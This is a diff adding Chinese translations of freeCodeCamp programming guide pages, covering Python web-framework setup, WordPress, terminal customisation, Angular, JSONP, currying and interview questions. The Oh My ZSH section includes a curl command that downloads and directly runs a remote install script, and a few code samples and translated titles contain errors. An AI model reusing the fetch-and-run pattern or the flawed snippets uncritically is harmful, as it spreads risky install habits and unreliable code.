+sudo apt-get install chromium-browser 
+```
+
+**安装Firefox Developer Edition：**
+```
+sudo add-apt-repository ppa:ubuntu-mozilla-daily/firefox-aurora 
+ sudo apt-get update 
+ sudo apt-get install firefox 
+```
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页| ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：") |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")  
+[**爵士乐终端**](//forum.freecodecamp.com/t/jazzing-up-the-terminal/18386) | [**目录**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**下载文本编辑器和IDE**](//forum.freecodecamp.com/t/downloading-text-editors-and-ides/18384)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/installing-django-in-virtual-environment/index.md b/client/src/guide/chinese/miscellaneous/installing-django-in-virtual-environment/index.md
new file mode 100644
index 0000000000..1d4011a67f
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/installing-django-in-virtual-environment/index.md
@@ -0,0 +1,32 @@
+---
+title: Installing Django in Virtual Environment
+localeTitle: 在虚拟环境中安装Django
+---
+[Django](https://www.djangoproject.com)是一个固执己见的框架，可以帮助您提高工作效率。例如，创建Django项目时的文件结构。但是，如果您希望详细探索Python中的Web开发领域;也许[Flask](http://flask.pocoo.org/)更像是你的小巷。随意跳过本文的这一部分，并直接跳转到[Flask安装帮助](#installing-flask-in-virtual-environment)
+
+在撰写本文时，目前的Django版本是Django 1.9.2。但是当你正在读这篇文章时，它可能会更高。
+
+官方安装指南可[在此处获得](https://docs.djangoproject.com/en/1.9/intro/install/#install-django) 。你应该安装最新的稳定和正式版本;而**不是**最新的开发版本（除非你知道你在做什么，你喜欢危险地生活！）
+
+但在开始安装之前，请确保您处于**激活的**虚拟环境中;在终端中运行以下命令的位置如下所示：
+```
+$ python --version 
+ Python 3.5.1 
+```
+
+它可能不是`3.5.1` 。它很可能是`3.4.3` 。但这没关系，只要它没有显示为`2.7.9`或其他以`2`开头的东西。
+
+一旦确定您处于激活的虚拟环境中，并且`python`命令指向版本3的Python;你准备安装Django了。只需按照官方[安装指南进行操作](https://docs.djangoproject.com/en/1.9/topics/install/#installing-official-release) ，然后使用Python包管理器`pip`安装。
+
+一旦安装;检查所有`pip`安装的内容是个好主意;通过执行以下命令：
+```
+$ pip freeze 
+```
+
+这将输出使用当前Python安装的模块列表;你应该看到Django有正确的版本（类似`Django==1.9.2`在列表中。
+
+如果您希望使用Windows，则上述讨论不适用于您。也许您只能访问Windows计算机，并且出于某些个人原因，您不希望在云上使用基于浏览器的Linux机箱（可能是连接速度慢？）。
+
+您可以按照本[教程](https://docs.djangoproject.com/en/1.9/howto/windows/)在Windows机器中使用Python 3设置Django。
+
+或者，您可以直接在您的计算机上使用[Virtualbox](https://www.virtualbox.org/)和[Vagrant](https://www.vagrantup.com/)框进行Django开发！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/installing-flask-in-virtual-environment/index.md b/client/src/guide/chinese/miscellaneous/installing-flask-in-virtual-environment/index.md
new file mode 100644
index 0000000000..0c25e7e23e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/installing-flask-in-virtual-environment/index.md
@@ -0,0 +1,100 @@
+---
+title: Installing Flask in Virtual Environment
+localeTitle: 在虚拟环境中安装Flask
+---
+如果您想使用Flask，那么您来对地方了！但安装Flask只是因为你想在Flask中探索Web开发。我们总是会推荐Django而不是Flask，因为在Flask中构建大型Web应用程序变得很困难;如果您不熟悉Python中的Web开发。
+
+Flask是一个微框架;您可以从标准Web框架中选择您希望拥有的基本准系统功能。但如果你不想做所有的麻烦并专注于建立你的想法;或许Django将成为未来发展道路上更好的公司。
+
+我假设您**没有**跳过安装Python 3并在虚拟环境中使用它的部分。
+
+首先确保您不在虚拟环境中。然后创建一个名为`py3-flask`的新虚拟环境
+```
+$ mkvirtualenv py3-flask --python=/usr/bin/python3 
+```
+
+现在，执行`workon`命令以查看计算机中的虚拟环境列表。这应该列出`py3-flask` 。
+
+在此之后，激活此环境：
+```
+$ workon py3-flask 
+```
+
+您的虚拟环境将使用Python解释器的副本激活，具有Python 3属性。你应该跑
+```
+$ python --version 
+```
+
+确保您确实在Python 3环境中。
+
+需要明确的是，如果您已经按照上一节安装了Django - 它**不**应该在这种环境中。我们正在使用虚拟环境;保持我们不同框架的安装分开。
+
+确定，运行
+```
+pip freeze 
+```
+
+确保Django未列在上面命令生成的输出列表中。
+
+现在，让我们安装Flask。对于您的细读，这是[官方安装指南](http://flask.pocoo.org/docs/0.10/installation/) 。但是，很多开发人员更喜欢在Flask上安装一些额外的软件包;了解更多功能。
+
+要安装Flask，请执行
+```
+$ pip install flask 
+```
+
+再次运行`pip freeze`时，它应该在列出的包中显示`Flask` 。
+
+像这样运行长命令很麻烦。幸运的是，Python域中也有类似`package.json`东西 - 依赖项列表，包管理器可以通过从中央存储库下载适当的版本来复制环境。
+
+标准是使用`pip freeze`并将输出记录到本地文件，该文件可以是源控制的。
+```
+$ pip freeze > requirements.txt 
+```
+
+这是我的环境中的`requirements.txt`的内容，在安装了这些Flask软件包之后。随着应用程序的增长，您可以添加或删除更多包;但是现在，只需将以下内容复制粘贴到您所在目录中的文本文件中即可。
+```
+Babel==2.2.0 
+ Flask==0.10.1 
+ Flask-Babel==0.9 
+ Flask-Login==0.3.2 
+ Flask-Mail==0.9.1 
+ Flask-OpenID==1.2.5 
+ Flask-SQLAlchemy==2.1 
+ Flask-WTF==0.12 
+ Flask-WhooshAlchemy==0.56 
+ Jinja2==2.8 
+ MarkupSafe==0.23 
+ SQLAlchemy==1.0.12 
+ Tempita==0.5.2 
+ WTForms==2.1 
+ Werkzeug==0.11.4 
+ Whoosh==2.7.2 
+ blinker==1.4 
+ coverage==4.0.3 
+ decorator==4.0.9 
+ defusedxml==0.4.1 
+ flipflop==1.0 
+ guess-language==0.2 
+ itsdangerous==0.24 
+ pbr==1.8.1 
+ python3-openid==3.0.9 
+ pytz==2015.7 
+ six==1.10.0 
+ speaklater==1.3 
+ sqlalchemy-migrate==0.10.0 
+ sqlparse==0.1.18 
+```
+
+这个包列表来自[这里](http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world) 。
+
+保存文件后，只需运行即可
+```
+$ pip install -r requirements.txt 
+```
+
+包管理器会为您安装丢失的包！您应该使用源代码管理系统提交此文件。
+
+上面的命令集假设你有一台Linux机器或Mac OSX机器;或者您正在使用cloud9或Nitrous上的云托管盒;或者你正在使用一个Vagrant盒子。
+
+但是，如果必须使用Windows计算机，请考虑使用Windows Powershell而不是Windows CMD。大多数命令都是一样的。如果您需要任何帮助，可能需要查看[此Stack Overflow讨论](http://stackoverflow.com/questions/17917254/how-to-install-flask-on-windows) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/installing-wordpress-locally-on-mac/index.md b/client/src/guide/chinese/miscellaneous/installing-wordpress-locally-on-mac/index.md
new file mode 100644
index 0000000000..7180dd96f2
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/installing-wordpress-locally-on-mac/index.md
@@ -0,0 +1,60 @@
+---
+title: Installing Wordpress Locally on Mac
+localeTitle: 在Mac上本地安装Wordpress
+---
+在本地安装WordPress将允许您安全地构建主题，并允许您免费试用WordPress而无需支付主机费用。
+
+## 所需下载：
+
+*   [MAMP](https://www.mamp.info/en/)
+*   [WordPress的](https://wordpress.org/about/)
+
+在本地安装WordPress的第一步是下载MAMP。 MAMP代表Macintosh，Apache，MySQL和PHP。这是将运行新安装的WordPress的本地服务器。安装MAMP应该很容易，因为它就像安装任何其他应用程序一样。
+
+安装MAMP后，您将要卸载MAMP pro。要执行此操作，只需导航到您的应用程序文件夹并找到MAMP pro文件夹。此文件夹中将有一个卸载程序。我选择单击所有复选框，因为它是全新安装的MAMP。
+
+## 配置MAMP
+
+打开MAMP应用程序，你会看到这个屏幕：
+
+我们必须设置一些首选项，然后单击首选项图标。在首选项屏幕上单击`Ports` 。
+
+在这里，您可以保留端口，这将要求您在URL `localhost:8888`包含端口号。
+
+如果您不想在URL中包含端口号，可以将Apache和MySQL端口更改为80.我选择不这样做的原因是因为始终会要求您输入密码
+
+接下来，您将单击Apache选项卡并设置文档根目录。我选择在我的用户文件夹中创建一个名为“Sites”的新文件夹。
+
+现在我们已经完成了所有设置的编辑，点击OK保存。
+
+## 启动MAMP
+
+要启动MAMP，请单击“启动服务器”。
+
+这应该会在您的Web浏览器中打开一个新窗口，其地址为`http://localhost:8888/MAMP/?language=English` 。
+
+如果您的浏览器未打开，则应该可以单击“ `Open WebStart page` 。
+
+创建数据库
+
+下一步是单击MySQL下的`phpMyAdmin`链接，它将带您进入此页面：
+
+单击左侧导航菜单中的新建。
+
+输入数据库的名称，然后单击“创建”。我选择了“WordPress”。
+
+## 安装WordPress
+
+解压缩您下载的WordPress文件，并将其内容拖到您之前创建的文件夹中作为文档根目录。
+
+复制文件后，转到`localhost:8888` 。
+
+选择您的语言，然后在下一个屏幕上点击`Let's Go` 。
+
+输入您创建的数据库的名称，输入用户名和密码的“root”，然后单击“提交”。
+
+单击`Run the install` ，然后在下一个屏幕上输入登录的详细信息。
+
+单击“ `Submit` ，您将进入本地托管的WordPress登录。
+
+成功！使用您创建的用户名和密码登录。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/integrated-development-environment/index.md b/client/src/guide/chinese/miscellaneous/integrated-development-environment/index.md
new file mode 100644
index 0000000000..1a9d2f4105
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/integrated-development-environment/index.md
@@ -0,0 +1,11 @@
+---
+title: Integrated Development Environment
+localeTitle: 综合发展环境
+---
+**集成开发环境**旨在通过提供具有类似用户界面的紧密组件来最大化程序员的工作效率。 IDE提供了一个完成所有开发的程序。该程序通常提供许多用于创作，修改，编译，部署和调试软件的功能。这与使用不相关工具（例如vi，GCC或make）的软件开发形成对比。
+
+IDE的一个目标是减少拼凑多个开发实用程序所需的配置，而不是提供与内聚单元相同的功能集。在学习使用IDE比手动集成所有单个工具更快的情况下，缩短设置时间可以提高开发人员的工作效率。所有开发任务的更紧密集成有可能提高整体生产力，而不仅仅是帮助完成设置任务。例如，代码可以在编辑时连续解析，在引入语法错误时提供即时反馈。这可以加速学习新的编程语言及其相关的库。
+
+某些IDE专用于特定的编程语言，允许一个与该语言的编程范例最匹配的功能集。但是，有许多多语言IDE，例如Eclipse，ActiveState Komodo，IntelliJ IDEA，MyEclipse，Oracle JDeveloper，NetBeans，Codenvy和Microsoft Visual Studio。 Xcode，Xojo和Delphi专用于封闭语言或一组编程语言。
+
+虽然大多数现代IDE都是图形化的，但是在Windows Windows和X Window System（X11）等窗口系统广泛应用之前，Turbo Pascal等基于文本的IDE已经广泛使用。它们通常使用功能键或热键来执行常用命令或宏。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md b/client/src/guide/chinese/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md
new file mode 100644
index 0000000000..1e3499e713
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/interview-questions-for-junior-front-end-web-developers/index.md
@@ -0,0 +1,48 @@
+---
+title: Interview Questions for Junior Front End Web Developers
+localeTitle: 初级前端Web开发人员的访谈问题
+---
+本文的目的是让新鲜的前端Web开发人员熟悉教科书问题。如果您刚刚进入开发人员世界，那么在面试开发人员的位置时，您很可能会感到紧张。因此，一些相对基本的问题可能比实际问题更困难。这种情况的一个好的反击是准备好。
+
+## 问题
+
+不用多说，以下是您可能遇到的一些问题：
+
+### HTML / CSS
+
+1.  在CSS样式的上下文中，您可以解释`display-style: inline-block`代表什么？
+2.  如果你有一个`<ul>`与几个元素`<li>`元素，你会怎样使用HTML和CSS设置成一排，这些元素呢？
+3.  在CSS样式中何时使用`float` ？他们是如何工作的？
+4.  你什么时候使用： `clear: both;` ？
+5.  什么是Bootstrap？你什么时候用它？它的网格系统如何工作？
+6.  解释响应式设计的概念及其工作原理？如果您愿意，请使用示例。
+7.  什么是DOM？你怎么知道的？
+8.  什么是SASS？使用它有什么好处？
+
+### JavaScript的
+
+1.  什么是ECMAScript？
+2.  什么是jQuery以及它常用的是什么？
+3.  JS中`==`和`===`什么区别？
+4.  你能枚举所有的JavaScript数据类型吗？
+5.  什么是JS中的回调函数，何时使用？
+6.  `undefined`和`null`什么区别？
+7.  什么是异步响应？
+8.  JSON代表什么？它是干什么用的？
+9.  您如何解释API请求？
+10.  您使用了哪些API？
+11.  你会如何发送/转换为JSON格式？
+12.  指定AJAX请求时， `GET`和`POST`什么区别？
+
+### 软件/工具
+
+1.  您是否曾使用Photoshop作为前端开发人员？出于什么目的？
+2.  你用过什么软件版本系统？你能描述一下这个系统中工作流程的样子吗？
+
+### 关于你
+
+1.  你曾经做过的最难的项目是什么？为什么这很难？如果它是一个应用程序/算法，你能解释它是如何工作的吗？
+2.  您如何了解最新技术新闻？
+3.  你在做什么方面的项目？
+4.  您是否希望将来学习任何语言或框架？你会如何自学？你为什么选择那些语言/框架？
+5.  初级前端开发人员应具备的最重要的技能和素质是什么？
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/introduction-to-yeoman/index.md b/client/src/guide/chinese/miscellaneous/introduction-to-yeoman/index.md
new file mode 100644
index 0000000000..0c926fb087
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/introduction-to-yeoman/index.md
@@ -0,0 +1,7 @@
+---
+title: Introduction to Yeoman
+localeTitle: Yeoman简介
+---
+Yeoman是一个工具，允许您使用由开发人员制作的“生成器”包生成基于不同软件堆栈的准系统应用程序，这些开发人员希望让您的生活更轻松。这些软件包简化了您使用所选平台开发和部署网站的时间。我们正在使用由DaftMonk称为[generator-angular-fullstack](https://github.com/DaftMonk/generator-angular-fullstack)的全栈MEAN（MongoDB，ExpressJS，AngularJS，NodeJS）生成[器](https://github.com/DaftMonk/generator-angular-fullstack) 。
+
+完成挑战：为后端项目设置后，使用本指南浏览新应用程序的基本结构，并了解如何与数据库以及用户进行交互。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/jazzing-up-the-terminal/index.md b/client/src/guide/chinese/miscellaneous/jazzing-up-the-terminal/index.md
new file mode 100644
index 0000000000..60428ae601
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/jazzing-up-the-terminal/index.md
@@ -0,0 +1,45 @@
+---
+title: Jazzing Up the Terminal
+localeTitle: 爵士乐终端
+---
+开箱即用，Ubuntu附带的终端有点乏味。本部分将让您成为超级用户![:muscle:](//forum.freecodecamp.com/images/emoji/emoji_one/muscle.png?v=2 "：肌肉：") 。
+
+## 工具：
+
+#### 终结者
+
+[终结器](https://launchpad.net/terminator)允许您在类似网格的界面中安排多个终端。  
+要安装终结者，请在终端中输入`sudo apt-get install terminator` 。
+
+终结者的屏幕截图：
+
+![终结者的屏幕截图](//discourse-user-assets.s3.amazonaws.com/original/2X/6/6af4988ebfb1835ff3c19366865eaaaaf224cb19.png)
+
+#### 哦，我的ZSH！
+
+先决条件：
+
+*   应该安装`git`
+
+安装`ZSH`和`Oh My ZSH!`使用以下命令：
+```
+sudo apt install zsh && chsh -s $(which zsh) 
+```
+
+> 注意：您需要注销并再次使用ZSH而不是bash作为默认shell。
+```
+sh -c "$(curl -fsSL https://raw.githubusercontent.com/robbyrussell/oh-my-zsh/master/tools/install.sh)" 
+```
+
+一旦你重新启动你的终端， `Oh My ZSH!`应该安装。
+
+查看[官方文档](https://github.com/robbyrussell/oh-my-zsh/wiki)以了解如何安装插件和主题。
+
+#### 高级教程
+
+*   [命令行速成课程](http://cli.learncodethehardway.org/book/)
+*   [命令行的艺术](https://github.com/jlevy/the-art-of-command-line)
+*   [学习足够的命令行是危险的](https://www.learnenough.com/command-line-tutorial)
+
+![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 "：point_left：")上一页| ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：")家![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 "：书：") |下一个![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 "：point_right：")  
+[**自定义Ubuntu**](//forum.freecodecamp.com/t/customizing-ubuntu/18382) | [**目录**](//forum.freecodecamp.com/t/setting-up-ubuntu-for-programming/18388) | [**安装DevTools和现代Web浏览器**](//forum.freecodecamp.com/t/installing-devtools-and-modern-web-browsers/18385)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/keep-data-in-sync-in-angular/index.md b/client/src/guide/chinese/miscellaneous/keep-data-in-sync-in-angular/index.md
new file mode 100644
index 0000000000..88c7ab2f6c
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/keep-data-in-sync-in-angular/index.md
@@ -0,0 +1,24 @@
+---
+title: Keep Data in Sync in Angular
+localeTitle: 以角度保持数据同步
+---
+假设您希望在将用户视图添加到数据库时显示某些内容。如果您只是将其添加到本地数组中，则新_的_对象将立即显示在HTML视图的_ng-repeat_循环中
+```
+$scope.awesomeThings.push(newThing); 
+```
+
+但是你仍然需要将它添加到数据库集合中。用它添加到你的收藏中
+```
+$http.post('/api/things', newThing); 
+```
+
+可是等等！你很快就会明白，虽然你的_$ scope.awesomeThings_阵列中的所有其他东西都通过MongoDB的分配唯一的ID（的_东西_下_。ID\__属性），您_newThing_对象不会，这将使你很难在某个点就它的数据库操作（从数据库中删除它需要你使用它_。ID\__属性）。那么在将它添加到_$ scope.awesomeThings_数组后你想要做什么（因为我们希望它立即出现在用户的页面上）。总而言之，将newThing添加到本地数组和数据库的代码如下所示：
+```
+$scope.awesomeThings.push(newThing); 
+ $http.post('/api/things', newThing).success(function(thatThingWeJustAdded) { 
+    $scope.awesomeThings.pop(); // let's lose that id-lacking newThing 
+    $scope.awesomeThings.push(thatThingWeJustAdded); // and add the id-having newThing! 
+ }; 
+```
+
+这会为您的用户更新本地数组以获得看似即时的结果，然后将其同步到您的数据库，并使用数据库版本的_newThing_对象更新本地数组，该数据是唯一的_。_ id\_和所有。请注意，我们传递给_success_函数的回调接收来自数据库的新_东西_作为参数！这样，您可以轻松地将其添加回本地范围，而无需太多开销。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/known-issues-with-codepen/index.md b/client/src/guide/chinese/miscellaneous/known-issues-with-codepen/index.md
new file mode 100644
index 0000000000..7492cbbd66
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/known-issues-with-codepen/index.md
@@ -0,0 +1,16 @@
+---
+title: Known Issues with Codepen
+localeTitle: Codepen的已知问题
+---
+鼓励免费的Code Camp学习者使用[Codepen.io](http://www.codepen.io/)来组合项目，Codepen是快速组合可用代码的绝佳资源。但是，Codepen确实在调试代码的过程中引入了额外的抽象级别。如果您不了解它们，可以在Codepen中解决一些已知的问题：
+
+1.  **锚标记的URL问题：** CodePen会覆盖`<a href='URL'>`锚元素，这意味着您必须向锚元素添加`target='_blank'` - 否则它们将无效。
+2.  **https插件问题：**已知Chrome扩展程序“HTTPS Everywhere”（由[Electronic Frontiers Foundation](http://www.eff.org/)创建）会干扰AJAX调用。由于扩展程序自动使用HTTPS，因此可能会导致“混合内容”错误，从而阻止加载JSON / XML数据。如果您遇到这样的错误，请确保您的插件不是罪魁祸首。您可以选择使用[crossorigin.me](http://crossorigin.me)作为代理。
+3.  **imgur hotlinking：**如果您使用来自[http://imgur.com的](http://imgur.com)图片，他们大多数时间都不会出现，这是由于他们的服务条款。解决此问题的方法是使用像[http://postimg.org](http://postimg.org)这样的替代服务
+4.  **自动重新加载：**默认情况下，每次在HTML或JS编辑器窗口中进行更改时，预览窗口都会刷新。你可以通过转到设置>行为>“想要一个运行按钮？”来关闭它并启用“运行按钮”。并且解开盒子。
+5.  **location.reload：**如果在调试视图或JSFiddle中遇到代码问题，但在Codepen编辑器视图或完整页面视图中没有问题，请仔细检查是否使用了`location.reload()` 。如果你这样做，你必须找到另一种方法来实现所需，因为Codepen将剥离`location.reload`并在代码中保留only `()` 。 [在这里](https://blog.codepen.io/documentation/editor/things-we-strip/)阅读更多[：](https://blog.codepen.io/documentation/editor/things-we-strip/)
+6.  **显示图像，添加css / js文件，托管在Github上：**您可能希望包含在**Github上托管**的Codepen项目样式表，图像或js文件中。如果您将文件的Github链接添加到Codepen中的设置，或者添加到您的html / css中，它将无法开箱即用。你需要做的是：
+    1.  转到文件的“Raw”版本
+    2.  复制URL
+    3.  更改`raw.githubusercontent.com`到`rawgit.com`
+    4.  使用该URL链接到github上托管的文件
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-a-little-about-latex/index.md b/client/src/guide/chinese/miscellaneous/learn-a-little-about-latex/index.md
new file mode 100644
index 0000000000..a9bc41dbe0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-a-little-about-latex/index.md
@@ -0,0 +1,47 @@
+---
+title: Learn a Little About Latex
+localeTitle: 了解乳胶
+---
+LaTeX专为生产技术和科学文档而设计。您可以创建矩阵，数组或其他几个数学函数。
+
+`$$ (latex language) $$`
+
+您可以在GitterIM中嵌入Latex。例子：
+
+## 排列
+```
+$$\begin{array} {cc} 
+ arr11 & arr12\\ 
+ arr21 & arr22\\ 
+ \end{array}$$ 
+```
+
+## 矩阵
+```
+$$\begin{pmatrix} 1 & 0 \\ 0 & 1 \end{pmatrix}$$ 
+```
+
+## 格式化
+```
+$$\huge\textstyle\color{#F00}{BigRed}\small\textstyle\color{#0F0}{SmallGreen}$$ 
+```
+
+[功能支持](https://github.com/Khan/KaTeX/wiki/Function-Support-in-KaTeX)
+
+## 细节
+
+[KaTeX Github Repo](https://github.com/Khan/KaTeX) LaTeX是一种高品质的排版系统;它包括为生产技术和科学文档而设计的功能。 LaTeX是科学文献交流和出版的事实标准。他的优点在书籍，论文或论文等长篇文件中都很明显。
+
+Gitter使用Katex（LaTeX的自定义实现），可以使用它来介绍以下代码：
+```
+$$\begin{array} {cc} 
+ item11 & item12\ 
+ item21 & item 22\ 
+ \end{array} 
+ $$ 
+```
+
+文本：
+
+*   `$$\huge\textstyle{some text}$$` - > $$ \\ huge \\ textstyle {some text} $$
+*   `$$\color{#F90}{some text}$$` - > $$ \\ color {＃F90} {some text} $$
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-currying/index.md b/client/src/guide/chinese/miscellaneous/learn-about-currying/index.md
new file mode 100644
index 0000000000..87a8163b01
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-currying/index.md
@@ -0,0 +1,46 @@
+---
+title: Learn About Currying
+localeTitle: 了解Currying
+---
+它是一个带有多个参数的函数并将其转换为带有单个参数的等效函数的行为。这基于返回部分应用的函数。
+
+**原版的**
+```
+function add (verb, a, b) { 
+   return "The " + verb + " of " + a + ' and ' + b + ' is ' + (a + b) 
+ } 
+ 
+ add('sum', 5, '6') 
+   //=> 'The sum of 5 and 6 is 11' 
+```
+
+**咖喱版**
+```
+function addCurried (verb) { 
+    return function (a) { 
+      return function (b) { 
+        return "The " + verb + " of " + a + ' and ' + b + ' is ' + (a + b) 
+      } 
+    } 
+  } 
+ 
+  addCurried('total')(6)(5) 
+   //=> 'The total of 6 and 5 is 11' 
+```
+
+手工卷曲将是一项令人难以置信的努力，但它与部分应用的密切关系意味着如果你已经部分应用，你可以得到currying。或者如果你有currying，你可以派生左部分应用程序。
+
+这是一个用两个参数来讨论任何函数的函数：
+```
+  function curryTwo (fn) { 
+    return function (x) { 
+      return callFirst(fn, x) 
+    } 
+  } 
+ 
+  function add2 (a, b) { return a + b } 
+ 
+  curryTwo(add2)(5)(6) 
+   //=> 11 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-elixir/index.md b/client/src/guide/chinese/miscellaneous/learn-about-elixir/index.md
new file mode 100644
index 0000000000..455b37efac
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-elixir/index.md
@@ -0,0 +1,11 @@
+---
+title: Learn About Elixir
+localeTitle: 了解Elixir
+---
+![Elixir徽标](//discourse-user-assets.s3.amazonaws.com/original/2X/f/ffb29c7c694656265e093920b571731fb25b6029.png)
+
+[Elixir](http://elixir-lang.org/)是一种[动态类型的](https://en.wikipedia.org/wiki/Type_system#Dynamic_type_checking_and_runtime_type_information) [函数式编程语言](https://en.wikipedia.org/wiki/Functional_programming) ，它使用[Erlang](https://www.erlang.org/) VM。
+
+它由[JoséValim](https://github.com/josevalim)创建，作为研发项目的一部分。 Elixir的开发始于[2011年初](https://github.com/elixir-lang/elixir/graphs/contributors) ;它在过去五年中获得了巨大的声望。
+
+Elixir拥有热情的活跃社区，是一种保持理智并为编码带来快乐的语言。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-html-entities/index.md b/client/src/guide/chinese/miscellaneous/learn-about-html-entities/index.md
new file mode 100644
index 0000000000..d672654d18
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-html-entities/index.md
@@ -0,0 +1,9 @@
+---
+title: Learn About HTML Entities
+localeTitle: 了解HTML实体
+---
+HTML中的某些字符由语言保留，例如`<`和`>` 。在HTML文件中将它们用于标签之外的其他内容可能会导致错误，因为您的浏览器可能会将它们解释为标签。解决此问题的一种方法是使用HTML实体：
+
+`<`可以写成`&lt;` while `>`可写为`&gt;`它们将在浏览器中按预期呈现。
+
+可以在[https://dev.w3.org/html5/html-author/charref](https://dev.w3.org/html5/html-author/charref)找到其他保留字符和键盘中没有的字符（如©和Σ）的HTML实体的完整列表。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-jsonp/index.md b/client/src/guide/chinese/miscellaneous/learn-about-jsonp/index.md
new file mode 100644
index 0000000000..8b24bfbba4
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-jsonp/index.md
@@ -0,0 +1,28 @@
+---
+title: Learn About Jsonp
+localeTitle: 了解Jsonp
+---
+## JSONP
+
+JSONP代表“带填充的JSON”。假设您想要将AJAX请求发送到其他域。好吧，你不能像往常那样使用XMLHttpRequest做到这一点，但你可以用脚本标签来做到这一点，如[StackOverflow所示](https://stackoverflow.com/questions/2067472/what-is-jsonp-all-about) ：
+
+```javascript
+script = document.createElement('script'); 
+ script.type = 'text/javascript'; 
+ script.src = 'http://www.someWebApiServer.com/some-data'; 
+```
+
+但这很难看，现在我们必须从脚本标签中获取JSON的元素，粗略。幸运的是，JSONP的创建者正在考虑未来，所以我们不是像上面那样设置脚本，而是这样做：
+
+```javascript
+script.src = 'http://www.someWebApiServer.com/some-data?callback=my_callback'; 
+```
+
+这会在数据加载后触发自动回调，从而创建一个包含所需数据的函数。
+
+### 更多信息：
+
+*   [Wikipidea / JSONP](https://en.wikipedia.org/wiki/JSONP)
+*   [JSONP和JQuery](https://learn.jquery.com/ajax/working-with-jsonp)
+*   [更多JSONP与JQuery](http://api.jquery.com/jquery.getjson/#jsonp)
+*   [Ajax和JSONP](http://stackoverflow.com/questions/5943630/basic-example-of-using-ajax-with-jsonp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-pair-programming/index.md b/client/src/guide/chinese/miscellaneous/learn-about-pair-programming/index.md
new file mode 100644
index 0000000000..5de708254e
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-pair-programming/index.md
@@ -0,0 +1,13 @@
+---
+title: Learn About Pair Programming
+localeTitle: 了解结对编程
+---
+结对编程是两个人在一台计算机上编码的地方。
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f68cff8b5354f548f9d680369891ece79b8a154f.jpg)
+
+结对编程鼓励您讨论解决问题的不同方法，并保持彼此的其他动机。结果是比你们自己编写的代码更好的代码。
+
+由于它的好处，许多工程师将程序配对全职。这是学习编码的最佳方式。由于允许两个人共享鼠标和键盘输入的工具，您可以将程序与朋友配对，而无需在同一个房间。
+
+您可以通过与我们的编码挑战中的其他免费Code Camp学生结对编程来体验这些好处。最终，您将与非营利组织的人员一起构建真实的软件解决方案。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/learn-about-permutations/index.md b/client/src/guide/chinese/miscellaneous/learn-about-permutations/index.md
new file mode 100644
index 0000000000..86c9a8de27
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/learn-about-permutations/index.md
@@ -0,0 +1,13 @@
+---
+title: Learn About Permutations
+localeTitle: 了解排列
+---
+_置换_是一组数学对象可以组合成一组的方式的数学术语。它类似于另一个数学术语， _组合_ ，除了一个关键的区别：对于排列，集合中的主题的顺序产生差异。
+
+例如，假设您从帽子中提取数字并计算三个数字的不同组合。在这种情况下，无论是`[1,2,3]`和`[3,2,1]`将是组合`1` ， `2` ，和`3`和也要算一个组合。
+
+但是，如果您计算数字的排列，它们将计为两个不同的实例，因为每个集合中的数字的顺序不同。
+
+排列可以用两种方式之一计算，具体取决于是否允许重复值。要计算没有重复的`n`对象的排列数，您只需计算`n!` ，或`n * (n-1) * (n-2) ... * 1` 。这是有道理的，因为如果您从帽子中选择一个号码并且在选择下一个号码之前没有将其放回，则可以选择少一个号码。
+
+要仅计算排列总数的一部分（例如，要查找1-10中没有重复的三位数的排列数），您只需要乘以您正在进行的多个选项。在三位数的情况下，您只需要乘以`10 * 9 * 8` 。以同样的方式，如果重复**被**允许（这意味着，你把后面的数字的帽子采摘后），你会乘`10 * 10 * 10` 。
\ No newline at end of file
